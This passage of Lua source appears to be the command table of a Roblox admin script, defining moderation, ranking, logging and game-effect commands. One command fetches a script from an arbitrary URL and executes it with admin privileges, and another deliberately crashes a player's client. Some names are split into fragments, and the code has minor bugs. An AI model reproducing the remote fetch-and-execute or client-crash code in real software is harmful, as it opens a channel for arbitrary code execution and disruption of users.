"Owner", false, function(Speaker, Rank, Arguments) ExecuteSafe(Arguments[1], Speaker) end}; [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link (HTTP)", 1, "Owner", false, function(Speaker, Rank, Arguments) local Script = REMOTE:GetURL(Arguments[1], Player) if Script then ExecuteSafe(Script, Speaker) end end}; [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) local Time = tick() local Res = REMOTE:GetURL(Arguments[1], Player) if Res then GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check") end end}; [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments) CORE:RemoveAdmin(Speaker) end}; [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments) for _,Player in pairs(Server.Players:GetPlayers()) do GUI:SendHint(Player, Arguments[1]) end end}; [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself (HTTP)", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Debt = nil for _,Player in pairs(Players) do if not Debt then Debt = GUI:ShowDebtStats(Player) else GUI:ShowDebtStats(Player, Debt) end end end}; [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do GUI:CreateHUD(Player) end end}; [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player:FindFirstChild("PlayerGui") then local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui") if HUD then HUD:Destroy() end end end end}; [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) GUI:Vote(Speaker, Players, Arguments[2], 30) end}; [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ExecuteResource("Bomb", Player.Character) end end}; [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:ChangeCharacter(Player, Player.UserId, false, Speaker) CORE:RestoreCamera(Player) end end}; [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments) CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker) CORE:RestoreCamera(Speaker) end}; [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments) local Players1 = STRING:Scan(Arguments[1], Speaker) local Players2 = STRING:Scan(Arguments[2], Speaker) for _,Player1 in pairs(Players1) do if Player1.Character and Player1.Character:FindFirstChild("Torso") then for _,Player2 in pairs(Players2) do if Player2.Character and Player2.Character:FindFirstChild("Torso") then Player1.Character:MoveTo(Player2.Character.Torso.Position) end end end end end}; [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do Player:LoadCharacter() end end}; [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:RestoreCamera(Player) end end}; [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Jail(Player) end end}; [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:UnJail(Player) end end}; [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments) SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1])) end}; [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments) SOUND:StopSpeaking() end}; [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Compile = {} for Num,Player in pairs(Players) do local PlayerRank = RANK:GetRank(Player) local PlayerInfo = ClientInfo[Player.Name] table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name}) table.insert(Compile, "User ID: "..Player.UserId) table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge)) table.insert(Compile, "Rank: "..PlayerRank) if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end if PlayerInfo.Benchmark then table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark) end if Num ~= #Players then table.insert(Compile, "-----------------------------") end end GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false) end}; [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments) if tonumber(Arguments[2]) then local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do coroutine.wrap(function() if Player.Character then table.insert(LoopKills, Player.Name) local Loop = nil local PrevChar = nil for i = 1,tonumber(Arguments[2]) do local Char = Player.Character if PrevChar and PrevChar ~= Char then PrevChar:Destroy() end PrevChar = Char local CanDie = true for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end if CanDie == false then break end ypcall(function() Char.Parent = Server.Lighting end) wait(0.1) ypcall(function() Char.Parent = Server.Workspace end) wait(0.1) end end end)() end else GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error") end end}; [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do for Num,Name in pairs(LoopKills) do if Player.Name == Name then table.remove(LoopKills, Num) end end end end}; [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments) SOUND:PlayGlobalSound(Arguments[1]) end}; [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments) SOUND:StopGlobalSound() end}; [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments) local Pitch = tonumber(Arguments[1]) if not Pitch then Pitch = 1 end if Sound then Sound.Pitch = Pitch end end}; [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string (HTTP)", 1, "Member", false, function(Speaker, Rank, Arguments) local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1]) local Items = MARKET:SearchItem(9, Arguments[1]) if Items then if #Items ~= 0 then local List,Correlate = {},{} for Num,Info in pairs(Items) do local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")" table.insert(List, Display) Correlate[Display] = Info.AssetId end CloseGui:Invoke() local CanClick = true if Rank == "Member" then CanClick = false end local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick) Clicked.Event:connect(function(ClickName) local OldSoundId = nil SOUND:StopGlobalSound() if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then SOUND:PlayGlobalSound(Correlate[ClickName]) end end) else CloseGui:Invoke() GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information") end else CloseGui:Invoke() GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error") end end}; [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character then CORE:ExecuteResource("Gun", Player.Character) end end end}; [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole) Player.Character.Humanoid.WalkSpeed = 0 Player.Character.Torso.Anchored = true coroutine.wrap(function() local OldCFrame = Player.Character.Torso.CFrame for i = 0,8,0.1 do Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0) wait() end Player.Character.Torso.Anchored = false Player.Character:BreakJoints() CORE:InvisiblePlayer(Player) end)() end end end}; [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:AnchorPlayer(Player) end end}; [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:UnanchorPlayer(Player) end end}; [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:InvisiblePlayer(Player) end end}; [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:VisiblePlayer(Player) end end}; [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do if Player.Character and Player.Character:FindFirstChild("Torso") then local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12) local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030" local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1) local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true) Fly:Play() local Touched = false coroutine.wrap(function() repeat wait(0.1) Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z) until not Ast or Ast.Parent == nil or Touched == true end)() Ast.Touched:connect(function(Part) if Touched == false then Touched = true Part:BreakJoints() local Boom = Instance.new("Explosion", Workspace) Boom.Position = Ast.Position Boom.BlastPressure = 1000000 Boom.BlastRadius = 30 Fire.Heat = 0 Smoke.RiseVelocity = 0 Fly:Stop() BoomSound:Play() coroutine.wrap(function() wait(3) BoomSound:Stop() if Ast and Ast.Parent ~= nil then Ast:Destroy() end end)() end end) end end end}; [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments) local Success = {} local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local PlayerRank = RANK:GetRank(Player) if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then CORE:Kick(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION") end}; [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments) local Success = {} local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local PlayerRank = RANK:GetRank(Player) if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Banned, Player.Name) CORE:Kick(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING") end}; [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments) local Success = {} local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local PlayerRank = RANK:GetRank(Player) if PlayerRank ~= "Owner" then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Crashed, Player.Name) CORE:Crash(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION") end}; [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments) local Success = {} local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do local PlayerRank = RANK:GetRank(Player) if PlayerRank ~= "Owner" then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Muted, Player.Name) GUI:CoreGui(Player, "Chat", false) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION") end}; [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) if #Players > 0 then local Success = {} for _,Player in pairs(Players) do local RankName,RankNum = RANK:GetRank(Player) if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then if not RANK:IsSupremeOwner(Player) then if RankName == "Muted" then GUI:CoreGui(Player, "Chat", true) end if RankNum > 0 then GUI:TellNotAdmin(Player) end RANK:RemoveRank(Player) table.insert(Success, Player) end end end REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION") else local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) if Player then local RankNum = RANK:ConvertRank(PlayerRank) if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then if not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION") end end end end end}; [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) if #Players > 0 then local Success = {} for _,Player in pairs(Players) do local PlayerRank,RankNum = RANK:GetRank(Player) if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Member, Player.Name) GUI:TellAdmin(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION") else local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) if Player then local RankNum = RANK:ConvertRank(PlayerRank) if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then if not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Member, Player) end end else RANK:RemoveRank(Arguments[1]) table.insert(Settings.Ranks.Member, Arguments[1]) end end end}; [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) if #Players > 0 then local Success = {} for _,Player in pairs(Players) do local PlayerRank,RankNum = RANK:GetRank(Player) if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Admin, Player.Name) GUI:TellAdmin(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION") else local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) if Player then local RankNum = RANK:ConvertRank(PlayerRank) if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then if not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Admin, Player) end end else RANK:RemoveRank(Arguments[1]) table.insert(Settings.Ranks.Admin, Arguments[1]) end end end}; [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) if RANK:IsSupremeOwner(Speaker) then if #Players > 0 then local Success = {} for _,Player in pairs(Players) do if not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Owner, Player.Name) GUI:TellAdmin(Player) table.insert(Success, Player) end end REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION") else local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1]) if Player then local RankNum = RANK:ConvertRank(PlayerRank) if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then if not RANK:IsSupremeOwner(Player) then RANK:RemoveRank(Player) table.insert(Settings.Ranks.Owner, Player) end end else RANK:RemoveRank(Arguments[1]) table.insert(Settings.Ranks.Owner, Arguments[1]) end end end end}; [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) local TableStorage = {} for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462) end}; [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments) local TableStorage = {} for _,Player in pairs(Server.Players:GetChildren()) do local ValidAdmin,PlayerRank = RANK:IsAdmin(Player) if ValidAdmin then if PlayerRank == "Owner" then table.insert(TableStorage, "BOLD: "..Player.Name..": Owner") else table.insert(TableStorage, Player.Name..": "..PlayerRank) end end end GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987) end}; [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795) end}; [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917) end}; [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870) end}; [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) local TableStorage = {} for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258) end}; [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments) local TableStorage = {} for PlayerRank,PlayerNames in pairs(Settings.Ranks) do for Num,PlayerName in pairs(PlayerNames) do if PlayerRank == "Owner" then table.insert(TableStorage, "BOLD: "..PlayerName..": Owner") else table.insert(TableStorage, PlayerName..": "..PlayerRank) end end end GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765) end}; [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log") end}; [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log") end}; [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments) GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log") end}; [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments) local ExploitLog = Server.GDS:GetAsync("ExploitLog") if type(ExploitLog) ~= "table" then ExploitLog = {} end GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log") end}; [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments) CommandLogs = {} end}; [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments) ChatLogs = {} end}; [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments) IRC.Logs = {} end}; [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments) CommandLogs = {} ChatLogs = {} IRC.Logs = {} end}; [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments) Server.GDS:SetAsync("ExploitLog", {}) end}; [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments) local List,Correlate,SoundName = {},{},{} for Name,Info in pairs(SoundList) do local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2] table.insert(List, View) Correlate[View] = Info[1] end local CanClick = true if Rank == "Member" then CanClick = false end local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick) Clicked.Event:connect(function(ClickName) local OldSoundId = nil SOUND:StopGlobalSound() if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then SOUND:PlayGlobalSound(Correlate[ClickName]) end end) end}; [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments) SOUND:SyncSoundList(Speaker) end}; [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments) local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"}) if Answer == "Yes" then Server.Workspace.Terrain:Clear() end end}; [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments) local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"}) if Answer == "Yes" then for _,Obj in pairs(Workspace:GetChildren()) do if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then Obj:Destroy() end end end end}; [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments) CORE:MakeBase() end}; [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments) local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds") if CustomSounds == nil or type(CustomSounds) ~= "table" then CustomSounds = {} end if tostring(Arguments[1]) then local Request = MARKET:GetItemInfo(Arguments[1]) if Request.AssetTypeId == 3 then table.insert(CustomSounds, {Arguments[2], Arguments[1]}) SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name} Server.GDS:SetAsync("MML Custom Sounds", CustomSounds) GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4) else GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4) end end end}; [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments) local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds") if CustomSounds == nil or type(CustomSounds) ~= "table" then CustomSounds = {} end local Removed = {} for Num,Data in pairs(CustomSounds) do if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then table.insert(Removed, Data[1]) table.remove(CustomSounds, Num) end end Server.GDS:SetAsync("MML Custom Sounds", CustomSounds) SOUND:SyncSoundList() if #Removed > 0 then GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed)) else GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list") end end}; [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments) local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"}) if Answer == "Yes" then Server.GDS:SetAsync("MML Custom Sounds", {}) SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync! GUI:SendHint(Speaker, "All custom sounds have been removed", 4) end end}; [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local SpeakerTesting = false for _,Player in pairs(Players) do if Player == Speaker then SpeakerTesting = true end if Player:FindFirstChild("Backpack") then coroutine.wrap(function() CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script}) --wait(10) --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10) end)() end end if SpeakerTesting == false then GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10) end end}; [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) local Compile = {} for _,Player in pairs(Players) do local PlayerInfo = ClientInfo[Player.Name] if PlayerInfo then if PlayerInfo.Benchmark then table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark) else table.insert(Compile, Player.Name..": No score") end end end GUI:ListGui(Speaker, "Benchmarks", Compile, "Information") end}; [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments) local Players = STRING:Scan(Arguments[1], Speaker) for _,Player in pairs(Players) do CORE:Chatted(Arguments[2], Player, true) end end}; [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments) CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], 